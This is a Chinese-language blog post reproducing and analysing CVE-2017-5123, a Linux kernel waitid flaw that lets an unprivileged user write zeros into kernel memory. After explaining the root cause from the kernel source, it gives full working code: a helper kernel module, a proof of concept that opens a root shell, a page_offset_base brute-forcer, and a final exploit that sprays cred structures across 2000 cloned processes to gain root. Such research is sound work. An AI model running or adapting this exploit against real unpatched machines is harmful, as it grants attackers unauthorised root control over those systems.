【CVE.0x02】CVE-2017-5123 waitid 漏洞复现及简要分析

本文最后更新于:2021年12月3日 下午

今晚别睡太死.jpg

0x00.一切开始之前

waitid 系统调用

waitid 是 Linux 中的一个系统调用,该系统调用与 wait 系统调用相类似,用以获取一个进程的状态改变

原型如下:

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int waitid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
/* This is the glibc and POSIX interface; see
NOTES for information on the raw system call. */
  • idtype :用以指定等待的子进程类型:P_PID(等待特定进程)、P_PGID(等待特定进程组)、P_ALL(等待任意子进程)
  • id :等待的子进程 pid
  • infop:该结构体用以存储 waitid 获取到的子进程相关信息,可以理解为 waitid 对返回值的补充
  • options :指定获取的子进程类型(正常终止、因信号暂停…)

其中 siginfo_t 结构体定义如下:

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#include <sys/siginfo.h>

union sigval {
int sival_int;
void *sival_ptr;
};
typedef struct {
int si_signo;
int si_code;
union sigval si_value;
int si_errno;
pid_t si_pid;
uid_t si_uid;
void *si_addr;
int si_status;
int si_band;
} siginfo_t;

更多信息参见这里

漏洞成因

在 waitid 向 infop 中写入数据时未对其地址进行检查,导致用户可以传入一个内核空间中的地址,从而非法向内核空间写入数据

漏洞影响版本

Linux v4.13~4.14-rc5。Linux v4.14-rc5 和 Linux v4.14.1已修补,Linux v4.14-rc4未修补

昙花一现的一个漏洞,信息甚少,而且说实话不是很好利用…

0x01.漏洞分析

Pre.用户空间与内核空间的数据传递

通常情况下使用函数 put_user() / get_user()或是 copy_from_user() / copy_to_user() 等在用户空间与内核空间之间复制数据,而完成这样的操作我们需要完成:

  • 检查地址合法性
  • 禁用/启用 SMEP 保护

而 waitid 系统调用需要向用户空间上多次写入数据(siginfo_t),为了避免额外的开销,自内核 4.13 版本起使用 unsafe_put_user() 来向用户空间写入数据,从而避免多次检查/开关保护造成的额外开销

该宏定义于 /arch/x86/include/asm/uaccess.h,其中有段说明如下:

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/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/

//...

#define unsafe_put_user(x, ptr, label) \
__put_user_size((__typeof__(*(ptr)))(x), (ptr), sizeof(*(ptr)), label)

即正常情况下使用时我们不仅要使用 access_ok() 检查用户空间地址合法性,还需要使用 user_access_begin()user_access_end() 以完成 SMEP 保护的关/开工作

这个宏最后展开为宏 __put_user_goto,使用内联汇编赋值,出错则跳转到 label 处

代码分析

waitid 系统调用的代码很短,位于源码目录 kernel/exit.c 中,如下:

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SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
}

if (!err) {
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;

user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user((short)info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}

我们可以看到的是,在其使用 unsafe_put_user() 之前使用了 user_access_begin() 关闭 SMEP 保护,一系列赋值结束之后又使用 user_access_end() 关闭了 SMEP 保护,看起来一切都没有问题,但是在这一系列的操作之前并没有使用 access_ok 宏检测传入的地址的合法性,由此若是用户传入一个内核空间的地址,则可以非法向内核空间写入数据

0x02.漏洞利用

观察 waitid 的源代码,我们发现在起始时将局部变量 signo 设为0,后面又调用了 unsafe_put_user(signo, &infop->si_signo, Efault) ,若我们传入内核空间地址则可以通过这一语句向内核空间内写一个 0

我们不难想到的是:若是我们能够将当前进程的 cred 结构体中的 euid 更改为 0,我们便能够获得 root 权限

poc

我们通过如下内核模块向进程提供其 cred 结构体的 euid 成员在内核空间中的地址:

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/*
* arttnba3_module.ko
* developed by arttnba3
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "a3device"
#define DEVICE_PATH "/dev/a3device"
#define CLASS_NAME "a3module"

static int major_num;
static struct class * module_class = NULL;
static struct device * module_device = NULL;
static struct file * __file = NULL;
struct inode * __inode = NULL;

static ssize_t a3_module_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff);

static struct file_operations a3_module_fo =
{
.owner = THIS_MODULE,
.read = a3_module_read,
};

static int __init kernel_module_init(void)
{
major_num = register_chrdev(0, DEVICE_NAME, &a3_module_fo);
module_class = class_create(THIS_MODULE, CLASS_NAME);
module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME);
__file = filp_open(DEVICE_PATH, O_RDONLY, 0);
__inode = file_inode(__file);
__inode->i_mode |= 0666;
filp_close(__file, NULL);
return 0;
}

static void __exit kernel_module_exit(void)
{
device_destroy(module_class, MKDEV(major_num, 0));
class_destroy(module_class);
unregister_chrdev(major_num, DEVICE_NAME);
}

static ssize_t a3_module_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff)
{
char buf[0x10];
int count;
*((long long *)buf) = (long long *) &(current->real_cred->euid);

count = copy_to_user(user_buf, buf, 8);

return count;
}

module_init(kernel_module_init);
module_exit(kernel_module_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("arttnba3");

测试用 POC 如下:

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#include <stdio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>

int main(void)
{
int fd = open("/dev/a3device", O_RDONLY);
long long ptr[0x10];
read(fd, ptr, 8);
sleep(1);
printf("0x%p", ptr[0]);

int pid = fork();
if (pid == 0)
{
sleep(2);
exit(-1);
}
else if (pid > 0)
{
waitid(P_PID, pid, ptr[0] - 0x10, WNOHANG );
}

if (getuid() == 0)
{
puts("done!");
system("/bin/sh");
}
else
{
puts("failed!");
}
}

可以看到,当我们运行 poc 后,其 euid 通过 waitid 的漏洞被更改为 0,之后我们便成功地获得了 root 权限

image.png

提权

虽然我们能够通过 waitid 中的 unsafe_put_user(0, &infop->si_errno, Efault) 这一语句向内核空间内写一个 0但是我们并不能够直接获得当前进程的 cred 在内核空间中的地址,这也令这个漏洞难以被很好地利用

那么若是需要完成提权,我们首先就需要找到当前进程的 cred 在内核空间中的地址

Pre.线性映射区 (direct mapping area)

众所周知,64 位下 Linux 的虚拟内存空间布局如下:

image.png

其中有一块区域叫 物理地址直接映射区(direct mapping area),即线性映射区(不是线代那个线性映射),这块区域的线性地址到物理地址空间的映射是连续的

在 32 位下这块区域叫低端内存,内核空间起始的 896 M 直接映射到物理内存的 0 ~ 896M

image.png

64 位下好像没有低端内存这个概念了,但是 DMA 这个区域的概念还是存在的,kmalloc 便从此处分配内存,这块区域的起始位置称之为 page_offset_base

vmalloc 则从 vmalloc/ioremap space 分配内存,起始地址为 vmalloc_base,这一块区域到物理地址间的映射是不连续的

爆破 page_offset_base

让我们重新将目光放回 waitid 这个系统调用的代码,我们知道 unsafe_put_user 类似于 copy_from_user,在访问非法地址时是不会引起 kernel panic,由此我们便能够用来爆破 page_offset_base 的地址——包括 cred 在内的通过 kmalloc 分配的 object 都在线性存储区域内,而这个区域的起始地址便是 page_offset_base

我们可以输入任意地址到 waitid 中,若未命中则 waitid 将返回 -EFAULT,否则说明我们成功命中了有效地址

page_offset_base 在未开始 KASLR 时的基址为 0xffff888000000000,我们由此开始以 0x10000000作为尺度进行爆破

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#include <stdio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>

int main(int argc, char **argv)
{
size_t page_offset_base = 0xffff888000000000;
int retval;

while(1)
{
int pid = fork();
if (pid == 0)
{
exit(-1);
}
else if (pid > 0)
{
printf("trying: %p\n", page_offset_base);
retval = waitid(P_PID, pid, page_offset_base, WEXITED);
if (retval >= 0)
break;
page_offset_base += 0x10000000;
}
}
printf("\033[32m\033[1m[+] Successful found the \033[0mpage_offset_base\033[32m\033[1m at:\033[0m%p\n", page_offset_base);
}

爆破需要的时间还是在可以承受的范围内的

image.png

预测 cred 所在位置

还是使用之前的驱动,我们现在将尽可能多地在内核空间喷射 cred 结构体,并观察其位置:

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#include <stdio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <syscall.h>
#include <errno.h>

int main(void)
{
int fd = open("/dev/a3device", O_RDONLY);
long long ptr[0x10];

size_t page_offset_base = 0xffff888000000000;
int retval;

while(1)
{
int pid = fork();
if (pid == 0)
{
exit(-1);
}
else if (pid > 0)
{
printf("trying: %p\n", page_offset_base);
retval = waitid(P_PID, pid, page_offset_base, WEXITED);
if (retval >= 0)
break;
page_offset_base += 0x10000000;
}
}
printf("\033[32m\033[1m[+] Successful found the \033[0mpage_offset_base\033[32m\033[1m at:\033[0m%p\n", page_offset_base);

while (1)
{
int pid = fork();
if (pid == 0)
{
read(fd, ptr, 8);
printf("[*] cred: %p\n", ptr[0]);
sleep(100);
}
}
}

观测结果如下:

image.png

我们可以发现分配出来的 cred 都在 page_offset_base + 0x10000000 往后的位置,这为我们利用该漏洞改写 cred 结构体的 uid 提供了可能性

经笔者多次实验,从 page_offset_base + 0x50000000 开始往后的位置是出现 cred 结构体_可能性最大的位置_

喷射大量 cred,内核空间遍历写 0

那么我们现在有一个绝妙的思路——我们可以先在内核空间喷射足够多的 cred 结构体,随后利用 CVE-2017-5123 从 page_offset_base + 0x50000000 开始往后以 0x10 为尺度写 0,总能够在我们喷射的诸多 cred 中命中一个
我们使用 clone 创建多个轻量级子进程,不断循环检测自身的 euid 是否被修改为 0

最终的 exp 如下:

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#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <errno.h>
#include <asm/unistd_64.h>
#include <sched.h>

static char kill_parent[100];

void child_process(void)
{
int euid;
cpu_set_t mask;

CPU_ZERO(&mask);
CPU_SET(0,&mask);
sched_setaffinity(0,sizeof(mask),&mask);

while (1)
{
euid = geteuid();
if (!euid)
{
puts("[+] Successfully get the root!");
setuid(0);
puts("[*] Killing the exploit job and start a shell soon...");
system(kill_parent);
system("/bin/sh");
return ;
}
usleep(100000);
}
}

int main(void)
{
size_t page_offset_base = 0xffff888000000000;
size_t cur_attack_addr;
int retval;
void *child_stack;
cpu_set_t mask;

CPU_ZERO(&mask);
CPU_SET(0,&mask);
sched_setaffinity(0,sizeof(mask),&mask);
sprintf(kill_parent, "kill -9 %d", getpid());

// find page_offset_base
while(1)
{
int pid = fork();
if (pid == 0)
{
exit(-1);
}
else if (pid > 0)
{
//printf("trying: %p\n", page_offset_base);
retval = waitid(P_PID, pid, page_offset_base, WEXITED);
if (retval >= 0)
break;
page_offset_base += 0x10000000;
}
}
printf("\033[32m\033[1m[+] Successful found the \033[0mpage_offset_base\033[32m\033[1m at: \033[0m%p\n", page_offset_base);

// cred spray
puts("\033[34m\033[1m[*] start cloning child process...\033[0m");
for (int i = 0; i < 2000; i++)
{
child_stack = malloc(0x1000); // a page
int pid = clone(child_process, child_stack, CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1)
{
puts("\033[31m\033[1m[x] failed to create enough child process!\033[0m");
exit(-1);
}
}
puts("\033[32m\033[1m[+] child process cloning done.\033[0m");

// attacking
puts("\033[34m\033[1m[*] start finding child process...\033[0m");
for (cur_attack_addr = page_offset_base + 0x4 + 0x50000000; 1; cur_attack_addr += 0x10)
{
printf("\033[34m\033[1m[*] Attacking the: \033[0m%p\n", cur_attack_addr);
waitid(P_ALL, 0, cur_attack_addr, WNOHANG );
}
}